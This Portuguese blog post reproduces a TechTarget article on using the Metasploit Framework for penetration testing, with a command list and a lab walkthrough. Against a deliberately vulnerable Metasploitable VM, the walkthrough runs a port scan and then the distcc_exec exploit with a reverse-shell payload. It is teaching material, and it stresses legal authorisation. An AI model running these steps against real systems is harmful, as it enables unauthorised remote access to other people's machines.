Como usar comandos e explorações Metasploit em Pen Tests

Como usar comandos e explorações Metasploit em Pen Tests. Instruções demonstram como usar o Metasploit Framework para estar vulnerabilidade corporativa e testes de penetração.

Em nenhum lugar o ditado “ver para crer” é mais verdadeiro do que na segurança cibernética. A demonstração de um resultado adverso pode fazer com que as pessoas levem o risco mais a sério. Profissionais astutos, por exemplo, usarão os momentos após um ataque bem divulgado para solicitar pessoal ou orçamento adicional porque a atenção executiva na segurança está em seu ápice. Da mesma forma, um exercício de phishing simulado pode enfatizar a importância da higiene do e-mail mais do que assistir a um vídeo de conscientização.

O mesmo se aplica ao impacto das vulnerabilidades. É simples executar um scanner de vulnerabilidade que resulta em dezenas ou mesmo centenas de vulnerabilidades potenciais. Para obter tração no fechamento dessas brechas, no entanto, as equipes de segurança geralmente precisam de um empurrão. É aqui que a demonstração da vulnerabilidade em ação pode ajudar.

Com isto em mente, para auxiliar nossos leitores nesta árdua tarefa, reproduzimos aqui um artigo escrito por Ed Moyle, da Adaptive Biotechnologiesdo, para o site TechTargetUma das ferramentas, que o artigo descreve  e nos ajuda a compreender a capacidade de exploração da vulnerabilidade é a ferramenta de software livre Metasploit Framework .

O que é Metasploit e quais são seus usos?

O Metasploit Framework é uma ferramenta poderosa que fornece uma interface universal para trabalhar com código de exploração de vulnerabilidade. Ele tem código de exploração para uma ampla gama de vulnerabilidades que afetam servidores web, sistemas operacionais, equipamentos de rede e tudo mais. Em sua versão atual, a versão 6.0, ele tem código para 2.147 exploits e 592 payloads.

Metasploit oferece valor de duas maneiras principais para dois públicos diferentes. Primeiro, ele ajuda no desenvolvimento, empacotamento e lançamento de novo código, simplificando e promovendo a reutilização de cargas úteis – por exemplo, shellcode – e outras funcionalidades. Isso permite que os pesquisadores de vulnerabilidade restrinjam seu foco ao que lhes interessa: a pesquisa. Em segundo lugar, ajuda aqueles que executam exploits – como Pen Tester – a empregar uma metodologia comum para interagir com exploits e suas funcionalidades relacionadas. Isso ajuda a nivelar a curva de aprendizado de cada novo exploit e significa que os testadores têm acesso a exploits selecionados de alta qualidade em um só lugar.
O Metasploit Framework é um dos locais mais acessíveis, padronizados e amigáveis ​​para encontrar código de exploit confiável. Saber como usá-lo é valioso.

História do Metasploit

Metasploit tem sido a ferramenta favorita entre profissionais de TI e segurança desde 2003. Originalmente escrito em Perl em 2003 por HD Moore, Metasploit foi reescrito em Ruby em 2007. O Projeto Metasploit foi adquirido pela Rapid7 em 2009.
Originalmente uma ferramenta gratuita, existem duas versões hoje: Metasploit Framework e Metasploit Pro. A edição Framework é gratuita. Metasploit Pro é um produto comercial destinado a empresas com orçamentos de segurança maiores que podem comprar um produto baseado em GUI que pode automatizar várias tarefas de teste, testar vulnerabilidades da web e oferecer integração de API.

Benefícios e desafios do Metasploit

Usar o Metasploit também tem vários benefícios. Se os pen testers encontrarem um problema explorável em um ambiente, eles podem usar essas informações para construir um caso de por que o problema precisa ser corrigido. Isso pode ajudar a chamar a atenção dos tomadores de decisão necessários para priorizar as correções de vulnerabilidade , bem como ajudar os profissionais de segurança a fazer um caso de negócios poderoso para investir em outras ferramentas, como resposta a incidentes ou ferramentas de detecção, que ajudariam a mitigar, detectar ou responder a questões.
O Metasploit é amplamente usado não apenas na comunidade de pesquisadores de vulnerabilidade e pen tester, mas também por invasores. Entender quais exploits estão disponíveis – e determinar até que ponto um sistema é vulnerável a eles – dá uma vantagem contra os invasores.
Isso também apresenta um problema, no entanto. Como qualquer ferramenta de segurança, o Metasploit Framework pode ser usado de formas legais e ilegais. A responsabilidade recai sobre os usuários para entender em qual categoria seu uso se enquadra. Se você não tem permissão para testar em um determinado dispositivo ou ambiente, não faça isso. Se um dispositivo estiver em um ambiente de nuvem, certifique-se de que o ataque ao dispositivo esteja dentro do uso permitido do provedor, termos de serviço ou uso aceitável. Se não for, não faça isso. Se você não tiver certeza de que o uso é legal – ou se tiver alguma dúvida – não teste até ter certeza. Por exemplo, tenha uma conversa franca e específica com o consultor jurídico de sua organização para entender as repercussões.
Outro desafio a ter em conta é que é possível criar resultados indesejados usando o Metasploit. Muitas das explorações são projetadas para produzir um overflows de buffer, condições de execução ou outras vulnerabilidades de software. Explorar esses problemas apresenta um risco, pois eles podem deixar um sistema em um estado não confiável, mesmo que a exploração não funcione conforme o esperado. Por exemplo, você pode criar condições de negação de serviço não intencionais de várias maneiras, como travamentos de aplicativos, reinicializações do sistema e comportamento não confiável do aplicativo. Como em qualquer empreendimento de teste de segurança, proceda com cautela e tenha um plano de contingência em vigor para o caso de algo dar errado.
Além disso, embora as 2.147 explorações e 592 payloads atualmente disponíveis na versão 6.0 pareçam muitas vulnerabilidades, elas representam apenas uma pequena fração do que será encontrado em um cenário de pen test real. Não haverá um exploit já desenvolvido para cada situação encontrada durante um pen test. É verdade que o Metasploit é uma das melhores ferramentas disponíveis para o desenvolvimento de exploits, mas a verdade é que a maioria dos pen testers não tem tempo para escrever código de exploit customizado para projetos individuais. Portanto, embora o Metasploit Framework seja um grande recurso de exploração, não será a única ferramenta no arsenal de um pen tester.

Como fazer o download do Metasploit

O Metasploit Framework é incluído por padrão na maioria dos produtos de pen testing focados em distribuições Linux. Plataformas como Kali, BlackArch e Parrot OS oferecem Metasploit. Da mesma forma, o Metasploit está disponível se uma dessas plataformas estiver instalada em uma VM ou dispositivo virtual pré-configurado. O software também pode ser baixado da página GitHub do Rapid7 .
Depois de baixar o software, é importante mantê-lo atualizado. Se for usado como parte de um sistema operacional, como em uma distribuição Linux, significa usar o gerenciador de pacotes específico para mantê-lo atualizado. Por exemplo, no Kali, você deve usar o gerenciador de pacotes adequado para atualização. Por outro lado, se estiver instalado no Windows, pode ser necessário atualizá-lo manualmente usando o utilitário msfupdateMsfupdate é um programa externo que vem com o Metasploit Framework pronto para baixar e atualizar o software para a versão mais recente.

Comandos Metasploit necessários

Antes de pular para um exemplo usando o Metasploit Framework, é bom saber alguns comandos comuns do console Metasploit.
Para começar, se você estiver usando o Metasploit Framework, ao contrário do Metasploit Pro, sua interface principal será por meio da interface de linha de comando msfconsole. Para usá-lo, insira msfconsole em um prompt de comando no Linux ou, se estiver usando a versão do Windows, execute msfconsole.bat .
Outros comandos com os quais você deve se familiarizar incluem o seguinte:

  • ajuda ou ? mostra os comandos disponíveis no msfconsole.
  • show exibirá informações para o usuário sobre tópicos específicos – por exemplo:
    • show exploits revela os exploits que você pode executar.
    • show payloads revela as várias opções de carga útil que você pode executar no sistema explorado, como geração de um shell de comando, upload de programas para execução, etc.
    • show targets revela os sistemas operacionais e aplicativos de destino disponíveis que podem ser explorados.
    • show options revela os vários parâmetros para o exploit específico com o qual você está trabalhando.
  • use [nome do exploit] instrui o msfconsole a entrar no ambiente de um exploit específico.
  • info mostra uma descrição do exploit específico que você está usando junto com suas várias opções e requisitos;
  • search permite que você pesquise strings específicas em exploits, payloads, etc.
  • sessions permitem que você liste, pare e interaja com as sessões que você cria – por exemplo, subprocessos, como scripts.
  • set permite que você especifique opções de configuração – por exemplo:
    • set TARGET permite que você selecione um sistema operacional ou aplicativo de destino específico, se necessário.
    • set RHOST permite que você defina o endereço IP do seu host de destino (remoto).
    • set LHOST permite que você defina o endereço IP do seu host (local).
    • set PAYLOAD permite que você defina a carga útil específica para o seu exploit.
  • back permite que você saia do ambiente de exploração atual que você carregou e volte para o prompt principal do msfconsole.
  • exit permite que você saia do console Metasploit.

 

Como usar o Metasploit: Passo a passo

Com os comandos básicos em seu currículo, vamos ver como realizar uma exploração prática.

No exploit a seguir, o autor usou duas VMs: uma executando uma imagem VM com a distribuição do Kali Linux e outra executando Metasploitable 2, uma imagem de VM desenvolvida especificamente para ser vulnerável a vários exploits e problemas. Usando essas duas imagens VM disponíveis gratuitamente, você não precisa instalar nenhum software; basta baixar as imagens e você está pronto para começar. Os únicos fatores limitantes são sua largura de banda e sua capacidade de executar uma VM na nuvem, em seu desktop local, em um hipervisor, etc.

Uma palavra de cautela: a VM Metasploitable foi projetada para ser vulnerável a problemas de segurança. Dependendo do seu uso, você desejará limitar o que essa instância pode se comunicar. Ou, talvez, coloque-o em um ambiente de laboratório ou em uma máquina local onde você possa controlar o acesso físico e lógico.

No cenário demonstrado, as duas imagens virtuais estão em execução no mesmo hypervisor, com conectividade de rede estabelecida para que possam se comunicar. O objetivo é selecionar um serviço vulnerável no host e explorá-lo para obter acesso remoto no dispositivo.

Neste ponto, você pode estar se perguntando como saber se um serviço é vulnerável e explorável. Neste cenário, sabemos porque é Metasploitable – quase todos os serviços executados são vulneráveis ​​a alguma coisa. Na prática, você precisará fazer alguma coleta de dados primeiro. Alguns pen testers fazem testes cegos, onde lançam exploits contra serviços expostos. Mas é mais eficaz começar com a coleta de dados para ter uma ideia do que pode estar vulnerável antes de prosseguir. Por exemplo, você pode olhar para banners ou outras informações retornadas de serviços expostos ou olhar para informações de varredura de vulnerabilidade ou outros dados que identificam um alvo potencialmente explorável.

Em alguns casos, o Metasploit pode fazer esse trabalho braçal para você com verificações de detecção. Por exemplo, um módulo Metasploit chamado MS17-010 SMB RCE Detection , quando lançado dentro do console Metasploit, determina se um sistema foi corrigido contra a vulnerabilidade EternalBlue. Você pode começar com essa detecção para ver se o patch necessário foi aplicado e apenas testar os sistemas onde não foi.

No exemplo abaixo, o módulo integrado de varredura de porta auxiliar Metasploit é usado para reunir informações sobre a execução de serviços no host remoto. Isso destaca o uso do Metasploit Framework, ao mesmo tempo que ilustra o processo de reconhecimento que seria necessário para avaliar se um determinado host é vulnerável a um determinado exploit.

Etapa 1. Inicie o Metasploit

Carregue o msfconsole digitando msfconsole em um terminal.

Captura de tela de carregamento do msfconsole no Metasploit Framework

 

Etapa 2. Procure e carregue o port scanner 

Procure e carregue o módulo auxiliar do port scanner . Primeiro, usamos o comando search para procurar a string portscan . Em seguida, carregue o syn port scanner digitando use/auxiliary/scanner/portscan/tcp .

Captura de tela da pesquisa de 'portscan' no Metasploit Framework

 

Etapa 3. Definir opções

Use o comando show options para exibir as opções de configuração disponíveis. Todos os valores são preenchidos com os valores padrão com uma exceção: o valor RHOSTS, que corresponde ao host remoto que desejamos verificar. Nesse caso, preencheremos o conjunto RHOSTS 192.168.28.129 . Nesta etapa, você também pode ajustar os padrões, mas, neste exemplo, o autor executou a seguinte varredura.

Captura de tela da configuração de RHOSTS no Metasploit

 

Etapa 4. Executar o port scan

Para executar o port scan , digite run .

Captura de tela da execução de uma verificação de porta no Metasploit

 

Etapa 5. Selecione e carregue um exploit

Os resultados nos mostram que um dos serviços expostos é a porta 3643 – distcc, um serviço para compilação C / C ++ distribuída (remota). Problemas de configuração em distcc podem permitir a execução arbitrária de comandos (CVE-2004-2687) no host remoto.

Usando o search distcc, procure exploits direcionados a este serviço. Digite use exploit/unix/misc/distcc_exec para selecionar a ocorrência de pesquisa resultante.

Captura de tela de como encontrar exploits no Metasploit

 

Etapa 6. Mostrar payloads suportados

Use show payloads para determinar quais payloads são compatíveis com este exploit.

Captura de tela da localização de cargas úteis no Metasploit

 

Etapa 7. Defina o payload

Selecione um payload entre as opções disponíveis. Nesse caso, usaremos set payload payload/cmd/unix/reverse , que simplesmente abre um shell remoto.

Captura de tela de seleção de uma carga no Metasploit

 

Etapa 8. Mostrar opções de exploração

Use show options para determinar o exploit não opcional e os parâmetros de carga que não têm padrões e, portanto, devem ser definidos. Nesse caso, apenas RHOSTS e LHOST precisam ser definidos.

Captura de tela da configuração de LHOST no Metasploit

 

Etapa 9. Defina as opções necessárias

Defina os parâmetros RHOST e LHOST através do conjunto RHOSTS 192.168.28.129 e defina LHOST 192.168.2.128 . Esses endereços IP representam os endereços IP na rede virtual local do autor; o seu será diferente dependendo da configuração da rede.

Captura de tela da configuração de RHOSTS e LHOST no Metasploit

 

Etapa 10. Execute o exploit

Finalmente, de o comando exploit para executar o exploit e enviar o payload para o sistema de destino. Isso estabelece uma conexão, inicia o código de exploração e executa o payload que nos fornece um prompt de comando no sistema remoto. Você pode inserir um comando como cat/etc/hosts para verificar se este é o caso e se você está, de fato, conectado a um shell remoto.

Captura de tela da execução de um exploit no Metasploit

 

Usando Metasploit: Mas espere, há mais

Lançar o exploit acima é apenas um pequeno exemplo do que pode ser feito com o Framework Metasploit. Existem vários outros casos de uso do Metasploit, incluindo para validar se os patches foram aplicados corretamente para promover a correção ou esforços de gerenciamento de patches ; para treinar a equipe de TI – por exemplo, um treinamento de desenvolvedor de aplicativos para enfatizar a importância da codificação segura.

Fonte: TechTarget 

Veja também:

 

 

Sobre mindsecblog 2399 Artigos
Blog patrocinado por MindSec Segurança e Tecnologia da Informação Ltda.

3 Trackbacks / Pingbacks

  1. Nova versão do Infection Monkey permite simular ataques de ransomware
  2. Vulnerabilidades Críticas MS Patch Tuesday, Adobe, Apple e Google
  3. Zloader desabilita o Windows Defender para evitar a detecção

Deixe sua opinião!